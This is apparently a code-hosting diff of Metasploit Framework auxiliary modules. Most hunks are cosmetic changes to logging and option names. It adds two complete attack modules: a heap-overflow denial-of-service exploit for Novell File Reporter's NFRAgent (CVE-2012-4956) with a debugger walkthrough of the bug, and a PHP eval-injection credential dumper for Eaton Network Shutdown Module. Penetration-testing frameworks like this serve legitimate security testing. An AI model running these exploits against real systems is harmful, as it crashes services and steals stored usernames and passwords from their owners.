print_status("#{rhost}:#{rport} - Generating POST data...")
|
||||
for i in 0.upto(max_value_int)
|
||||
input_string = i.to_s(size)
|
||||
result = input_string.rjust(length, "0")
|
||||
|
@ -95,10 +95,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def compute_collision_chars
|
||||
print_status("Trying to find hashes...") if @recursive_counter == 1
|
||||
print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 1
|
||||
hashes = {}
|
||||
counter = 0
|
||||
length = datastore['collisioncharlength']
|
||||
length = datastore['CollisionCharLength']
|
||||
a = []
|
||||
for i in @char_range
|
||||
a << i.chr
|
||||
|
@ -123,25 +123,25 @@ class Metasploit3 < Msf::Auxiliary
|
|||
hashes[counter.to_s] = item
|
||||
counter = counter + 1
|
||||
end
|
||||
if counter >= datastore['collisionchars']
|
||||
if counter >= datastore['CollisionChars']
|
||||
break
|
||||
end
|
||||
end
|
||||
if counter < datastore['collisionchars']
|
||||
if counter < datastore['CollisionChars']
|
||||
# Try it again
|
||||
if @recursive_counter > datastore['recursivemax']
|
||||
print_error("Not enough values found. Please start this script again.")
|
||||
if @recursive_counter > datastore['RecursiveMax']
|
||||
print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
|
||||
return nil
|
||||
end
|
||||
print_status("#{@recursive_counter}: Not enough values found. Trying again...")
|
||||
print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
|
||||
@recursive_counter = @recursive_counter + 1
|
||||
hashes = compute_collision_chars
|
||||
else
|
||||
print_status("Found values:")
|
||||
print_status("#{rhost}:#{rport} - Found values:")
|
||||
hashes.each_value do |item|
|
||||
print_status("\tValue: #{item}\tHash: #{@function.call(item)}")
|
||||
print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")
|
||||
item.each_char do |c|
|
||||
print_status("\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
|
||||
print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -174,32 +174,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
when /PHP/
|
||||
@function = method(:djbx33a)
|
||||
@char_range = Range.new(0, 255)
|
||||
if (datastore['maxpayloadsize'] <= 0)
|
||||
datastore['maxpayloadsize'] = 8
|
||||
if (datastore['MaxPayloadSize'] <= 0)
|
||||
datastore['MaxPayloadSize'] = 8 # XXX: Refactor
|
||||
end
|
||||
when /Java/
|
||||
@function = method(:djbx31a)
|
||||
@char_range = Range.new(0, 128)
|
||||
if (datastore['maxpayloadsize'] <= 0)
|
||||
datastore['maxpayloadsize'] = 2
|
||||
if (datastore['MaxPayloadSize'] <= 0)
|
||||
datastore['MaxPayloadSize'] = 2 # XXX: Refactor
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "Target #{datastore['TARGET']} not supported"
|
||||
end
|
||||
|
||||
print_status("Generating payload...")
|
||||
print_status("#{rhost}:#{rport} - Generating payload...")
|
||||
payload = generate_payload
|
||||
return if payload == nil
|
||||
# trim to maximum payload size (in MB)
|
||||
max_in_mb = datastore['maxpayloadsize']*1024*1024
|
||||
max_in_mb = datastore['MaxPayloadSize']*1024*1024
|
||||
payload = payload[0,max_in_mb]
|
||||
# remove last invalid(cut off) parameter
|
||||
position = payload.rindex("=&")
|
||||
payload = payload[0,position+1]
|
||||
print_status("Payload generated")
|
||||
print_status("#{rhost}:#{rport} -Payload generated")
|
||||
|
||||
for x in 1..datastore['RLIMIT']
|
||||
print_status("Sending request ##{x}...")
|
||||
print_status("#{rhost}:#{rport} - Sending request ##{x}...")
|
||||
opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => datastore['URL'],
|
||||
|
@ -211,7 +211,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
c.send_request(r)
|
||||
# Don't wait for a response, can take hours
|
||||
rescue ::Rex::ConnectionError => exception
|
||||
print_error("#{rhost}:#{rport} - unable to connect: '#{exception.message}'")
|
||||
print_error("#{rhost}:#{rport} - Unable to connect: '#{exception.message}'")
|
||||
return
|
||||
ensure
|
||||
disconnect(c) if c
|
||||
|
|
|
@ -0,0 +1,234 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NFR Agent Heap Overflow Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a heap overflow in NFRAgent.exe, a component of Novell
|
||||
File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",
|
||||
where NFRAgent.exe fails to generate a response in a secure way, copying user
|
||||
controlled data into a fixed-length buffer in the heap without bounds checking.
|
||||
This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).
|
||||
},
|
||||
'Author' => [ 'juan vazquez' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2012-4956' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
|
||||
],
|
||||
'DisclosureDate' => 'Nov 16 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3037),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run
|
||||
record = "<RECORD>"
|
||||
record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
|
||||
record << "<VOL>#{Rex::Text.rand_text_alpha(10)}</VOL>" * 0xc35 # Volumes
|
||||
record << "</RECORD>"
|
||||
|
||||
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||
message = md5 + record
|
||||
|
||||
print_status("#{peer} - Triggering a heap overflow to cause DoS...")
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/FSF/CMD',
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'ctype' => "text/xml",
|
||||
'data' => message
|
||||
})
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
|
||||
return
|
||||
end
|
||||
|
||||
if res
|
||||
print_error("#{peer} - NFR Agent didn't die, it still answers...")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
* Static analysis
|
||||
|
||||
1) Handling of "SRS" records happens in handle_SRS_sub_4048D0:
|
||||
|
||||
.text:00404BE9 add esp, 0Ch
|
||||
.text:00404BEC push 14h ; length_arg_C
|
||||
.text:00404BEE lea eax, [ebp+record_name_var_28]
|
||||
.text:00404BF1 push eax ; result_arg_8
|
||||
.text:00404BF2 push offset aName ; "NAME"
|
||||
.text:00404BF7 mov ecx, [ebp+message_arg_8]
|
||||
.text:00404BFA add ecx, 20h
|
||||
.text:00404BFD push ecx ; xml_message_arg_0
|
||||
.text:00404BFE mov ecx, [ebp+var_2C]
|
||||
.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
|
||||
.text:00404C06 movzx edx, al
|
||||
.text:00404C09 test edx, edx
|
||||
.text:00404C0B jz short loc_404C8B
|
||||
.text:00404C0D push offset aSrs_2 ; "SRS"
|
||||
.text:00404C12 lea eax, [ebp+record_name_var_28]
|
||||
.text:00404C15 push eax ; char *
|
||||
.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.
|
||||
.text:00404C1B add esp, 8
|
||||
.text:00404C1E test eax, eax
|
||||
.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
|
||||
.text:00404C22 mov ecx, [ebp+message_arg_8]
|
||||
.text:00404C25 push ecx ; void *
|
||||
.text:00404C26 mov edx, [ebp+arg_4]
|
||||
.text:00404C29 push edx ; int
|
||||
.text:00404C2A mov eax, [ebp+arg_0]
|
||||
.text:00404C2D push eax ; int
|
||||
.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"
|
||||
|
||||
2) In this function memory is allocated to store the response which will be build:
|
||||
|
||||
.text:00404903 push 0C350h ; size_t
|
||||
.text:00404908 call _malloc
|
||||
.text:0040490D add esp, 4
|
||||
.text:00404910 mov [ebp+response_var_8], eax
|
||||
|
||||
0:007> g
|
||||
Breakpoint 0 hit
|
||||
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
|
||||
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||
NFRAgent+0x4908:
|
||||
00404908 e84cef0300 call NFRAgent+0x43859 (00443859)
|
||||
0:007> dd esp L1
|
||||
0120ff4c 0000c350
|
||||
0:007> p
|
||||
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
|
||||
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||
NFRAgent+0x490d:
|
||||
0040490d 83c404 add esp,4
|
||||
0:007> !heap -p -a eax
|
||||
address 01220110 found in
|
||||
_HEAP @ 9e0000
|
||||
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||
01220108 186b 0000 [01] 01220110 0c350 - (busy)
|
||||
|
||||
3) The SRS record used in this module is handled by:
|
||||
|
||||
.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char
|
||||
*result_response_arg_4)
|
||||
|
||||
4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:
|
||||
|
||||
for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD
|
||||
*)(vol_object_var_254 + 12) )
|
||||
{
|
||||
parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",
|
||||
&vol_name_var_20c, 0x1F4u); // get VOL element
|
||||
volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume
|
||||
Free Space
|
||||
volume_fscape_var_358 = v2;
|
||||
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode
|
||||
the volume name (user controlled data)
|
||||
if ( vol_name_html_encode_var_494 )
|
||||
{ // If the volume name has been HTML Encoded
|
||||
v3 = volume_fscape_var_358;
|
||||
v4 = volume_fspace_vol_35C;
|
||||
v5 = vol_name_html_encode_var_494;
|
||||
v6 = strlen(result_response_arg_4);
|
||||
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
|
||||
v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the
|
||||
fix-length buffer in the heap without bound checking
|
||||
free(vol_name_html_encode_var_494);
|
||||
vol_name_html_encode_var_494 = 0;
|
||||
}
|
||||
else
|
||||
{ // If the volume name hasn’t been HTML Encoded
|
||||
v7 = volume_fscape_var_358;
|
||||
v8 = volume_fspace_vol_35C;
|
||||
v9 = strlen(result_response_arg_4);
|
||||
sprintf(
|
||||
&result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume
|
||||
name) to the end of the fix-length buffer in the heap without bound checking
|
||||
"<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
|
||||
&vol_name_var_20c,
|
||||
v8,
|
||||
v7);
|
||||
}
|
||||
}
|
||||
|
||||
The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:
|
||||
|
||||
Breakpoint 1 hit
|
||||
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
|
||||
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||
NFRAgent+0x85c5:
|
||||
004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18)
|
||||
0:007> dd esp L1
|
||||
0120eec8 0122013e
|
||||
0:007> !heap -p -a 0122013e
|
||||
address 0122013e found in
|
||||
_HEAP @ 9e0000
|
||||
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||
01220108 186b 0000 [01] 01220110 0c350 - (busy)
|
||||
0:007> da poi(esp+4)
|
||||
0047a040 "<VOL><NAME>%s</NAME><FSPACE>%I64"
|
||||
0047a060 "d</FSPACE></VOL>"
|
||||
0:007> da poi(esp+8)
|
||||
01250208 "AAAAAAAAAA"
|
||||
|
||||
After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are
|
||||
overwritten for the chunk just after the vulnerable one:
|
||||
|
||||
0:007> g
|
||||
Breakpoint 0 hit
|
||||
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
|
||||
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
|
||||
NFRAgent+0x8645:
|
||||
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
|
||||
0:007> !heap -p -a 01220110
|
||||
address 01220110 found in
|
||||
_HEAP @ 9e0000
|
||||
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||
01220108 186b 0000 [01] 01220110 0c350 - (busy)
|
||||
0:007> !heap -p -a 01220110+0xc350
|
||||
address 0122c460 found in
|
||||
_HEAP @ 9e0000
|
||||
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||
0122c460 3e45 0000 [46] 0122c468 1f220 - (free)
|
||||
0:007> db 0122c460 L8
|
||||
0122c460 45 3e 30 3c 2f 46 53 50 E>0</FSP
|
||||
0:007> db 0122c468 L10
|
||||
0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE></VOL><VOL><
|
||||
=end
|
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if(not @banner)
|
||||
print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} ")
|
||||
print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.to_s.unpack("H*")[0]} ")
|
||||
return
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,125 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Network Shutdown Module <= 3.21 (sort_values) Credential Dumper',
|
||||
'Description' => %q{
|
||||
This module will extract user credentials from Network Shutdown Module by exploiting
|
||||
a vulnerability found in lib/dbtools.inc, which uses unsanitized user input inside a
|
||||
eval() call. Please note that in order to extract credentials,the vulnerable service
|
||||
must have at least one USV module (an entry in the "nodes" table in mgedb.db)
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '83199'],
|
||||
['URL', 'http://secunia.com/advisories/49103/']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'h0ng10',
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => "Jun 26 2012"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(4679)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def execute_php_code(code, opts = {})
|
||||
param_name = Rex::Text.rand_text_alpha(6)
|
||||
padding = Rex::Text.rand_text_alpha(6)
|
||||
php_code = Rex::Text.encode_base64(code)
|
||||
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/view_list.php',
|
||||
'method' => 'POST',
|
||||
'vars_get' =>
|
||||
{
|
||||
'paneStatusListSortBy' => url_param,
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
param_name => php_code,
|
||||
},
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'Close'
|
||||
}
|
||||
})
|
||||
res
|
||||
end
|
||||
|
||||
def read_credentials
|
||||
pattern = Rex::Text.rand_text_numeric(10)
|
||||
users_var = Rex::Text.rand_text_alpha(10)
|
||||
user_var = Rex::Text.rand_text_alpha(10)
|
||||
php = <<-EOT
|
||||
$#{users_var} = &queryDB("SELECT * FROM configUsers;");
|
||||
foreach($#{users_var} as $#{user_var}) {
|
||||
print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}";
|
||||
} die();
|
||||
EOT
|
||||
|
||||
print_status("#{peer} - Reading user credentials from the database")
|
||||
response = execute_php_code(php)
|
||||
|
||||
if not response or response.code != 200 then
|
||||
print_error("#{peer} - Failed: Error requesting page")
|
||||
return
|
||||
end
|
||||
|
||||
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
|
||||
return credentials
|
||||
end
|
||||
|
||||
def run
|
||||
credentials = read_credentials
|
||||
if credentials.empty?
|
||||
print_warning("#{peer} - No credentials collected.")
|
||||
print_warning("#{peer} - Sometimes this is because the server isn't in the vulnerable state.")
|
||||
return
|
||||
end
|
||||
|
||||
cred_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Network Shutdown Module Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Username', 'Password']
|
||||
)
|
||||
|
||||
credentials.each do |record|
|
||||
cred_table << [record[0], record[1]]
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(cred_table.to_s)
|
||||
|
||||
loot_name = "eaton.nsm.credentials"
|
||||
loot_type = "text/csv"
|
||||
loot_filename = "eaton_nsm_creds.csv"
|
||||
loot_desc = "Eaton Network Shutdown Module Credentials"
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], cred_table.to_csv, loot_filename, loot_desc)
|
||||
print_status("Credentials saved in: #{p.to_s}")
|
||||
end
|
||||
end
|
|
@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
@calls = {}
|
||||
|
||||
print_status("Opening interface: #{datastore['INTERFACE']}")
|
||||
print_status("Using band: #{datastore['band']}")
|
||||
print_status("Using band: #{datastore['BAND']}")
|
||||
|
||||
open_coa
|
||||
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue